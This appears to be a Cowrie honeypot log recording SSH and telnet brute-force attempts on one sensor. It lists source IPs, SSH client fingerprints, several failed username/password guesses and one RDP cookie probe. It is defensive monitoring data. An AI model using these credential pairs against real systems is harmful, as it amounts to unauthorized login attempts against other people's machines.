{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.867693Z","src_ip":"152.32.238.146","session":"d0d00ec9f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.885313Z","src_ip":"152.32.238.146","session":"d0d00ec9f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123qwe","message":"login attempt [tester/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.971697Z","src_ip":"152.32.238.146","session":"d0d00ec9f3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:21.732996Z","src_ip":"45.144.233.139","session":"0b99a224a856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:21.985408Z","src_ip":"152.32.238.146","session":"d0d00ec9f3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":44926,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9510c19768","protocol":"ssh","message":"New connection: 103.143.231.102:44926 (10.17.0.5:22) [session: 9b9510c19768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.102342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.107453Z","src_ip":"103.143.231.102","session":"9b9510c19768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.178580Z","src_ip":"103.143.231.102","session":"9b9510c19768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":41954,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c93f6eab42","protocol":"ssh","message":"New connection: 152.32.238.146:41954 (10.17.0.5:22) [session: 96c93f6eab42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.220607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.226540Z","src_ip":"152.32.238.146","session":"96c93f6eab42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.244559Z","src_ip":"152.32.238.146","session":"96c93f6eab42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador1","message":"login attempt [administrador/administrador1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.333745Z","src_ip":"152.32.238.146","session":"96c93f6eab42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:08.493869Z","src_ip":"103.143.231.102","session":"9b9510c19768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:09.356971Z","src_ip":"152.32.238.146","session":"96c93f6eab42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:09.570503Z","src_ip":"103.143.231.102","session":"9b9510c19768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":44938,"dst_ip":"10.17.0.5","dst_port":22,"session":"896beab75126","protocol":"ssh","message":"New connection: 45.144.233.139:44938 (10.17.0.5:22) [session: 896beab75126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:09.637264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:09.641834Z","src_ip":"45.144.233.139","session":"896beab75126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:09.729347Z","src_ip":"45.144.233.139","session":"896beab75126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo@1234","message":"login attempt [root/odoo@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:10.115427Z","src_ip":"45.144.233.139","session":"896beab75126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:11.206464Z","src_ip":"45.144.233.139","session":"896beab75126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:12.741031Z","src_ip":"143.64.168.136","session":"9bb68a5f4dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9341ca920b","protocol":"telnet","message":"New connection: 20.123.41.163:46062 (10.17.0.5:23) [session: ff9341ca920b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:14.410738Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.88.164.114","src_port":42462,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb3a46e14e6","protocol":"telnet","message":"New connection: 36.88.164.114:42462 (10.17.0.5:23) [session: 1fb3a46e14e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:19.722176Z"}
{"eventid":"cowrie.session.closed","duration":6.034969091415405,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:20.445603Z","src_ip":"20.123.41.163","session":"ff9341ca920b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":54836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6b066c533c1","protocol":"ssh","message":"New connection: 46.24.47.94:54836 (10.17.0.5:22) [session: b6b066c533c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:30.165907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:30.171835Z","src_ip":"46.24.47.94","session":"b6b066c533c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:30.278382Z","src_ip":"46.24.47.94","session":"b6b066c533c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890@","message":"login attempt [root/Aa1234567890@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:30.737672Z","src_ip":"46.24.47.94","session":"b6b066c533c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.135.200.50","src_port":28919,"dst_ip":"10.17.0.5","dst_port":23,"session":"09154513a36f","protocol":"telnet","message":"New connection: 139.135.200.50:28919 (10.17.0.5:23) [session: 09154513a36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:31.058680Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:31.845895Z","src_ip":"46.24.47.94","session":"b6b066c533c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.99496340751648,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:32.717025Z","src_ip":"36.88.164.114","session":"1fb3a46e14e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45678,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6609089964e","protocol":"telnet","message":"New connection: 20.123.41.163:45678 (10.17.0.5:23) [session: d6609089964e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:40.054594Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45684,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff4dadb474e","protocol":"telnet","message":"New connection: 20.123.41.163:45684 (10.17.0.5:23) [session: 7ff4dadb474e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:41.851812Z"}
{"eventid":"cowrie.session.closed","duration":13.652404308319092,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:44.710906Z","src_ip":"139.135.200.50","session":"09154513a36f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38112,"dst_ip":"10.17.0.5","dst_port":23,"session":"71020e67e00a","protocol":"telnet","message":"New connection: 104.245.105.2:38112 (10.17.0.5:23) [session: 71020e67e00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:46.512308Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":54631,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a925cdb20f","protocol":"ssh","message":"New connection: 103.149.252.223:54631 (10.17.0.5:22) [session: 67a925cdb20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:49.874208Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:49.879412Z","src_ip":"103.149.252.223","session":"67a925cdb20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:49.883203Z","src_ip":"103.149.252.223","session":"67a925cdb20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34816,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac8235a871be","protocol":"telnet","message":"New connection: 104.245.105.2:34816 (10.17.0.5:23) [session: ac8235a871be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:50.354542Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":42754,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb92ce7defe6","protocol":"ssh","message":"New connection: 152.32.238.146:42754 (10.17.0.5:22) [session: fb92ce7defe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:55.065864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:55.070551Z","src_ip":"152.32.238.146","session":"fb92ce7defe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:55.083032Z","src_ip":"152.32.238.146","session":"fb92ce7defe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertz","message":"login attempt [admin/qwertz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:55.167349Z","src_ip":"152.32.238.146","session":"fb92ce7defe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:17:56.187704Z","src_ip":"152.32.238.146","session":"fb92ce7defe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b59b62afee","protocol":"telnet","message":"New connection: 20.123.41.163:35282 (10.17.0.5:23) [session: 66b59b62afee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:03.711024Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":33276,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca772606a96","protocol":"ssh","message":"New connection: 103.143.231.102:33276 (10.17.0.5:22) [session: 8ca772606a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:07.005477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:07.010347Z","src_ip":"103.143.231.102","session":"8ca772606a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:07.079077Z","src_ip":"103.143.231.102","session":"8ca772606a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:07.382999Z","src_ip":"103.143.231.102","session":"8ca772606a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:08.455278Z","src_ip":"103.143.231.102","session":"8ca772606a96","protocol":"ssh"}
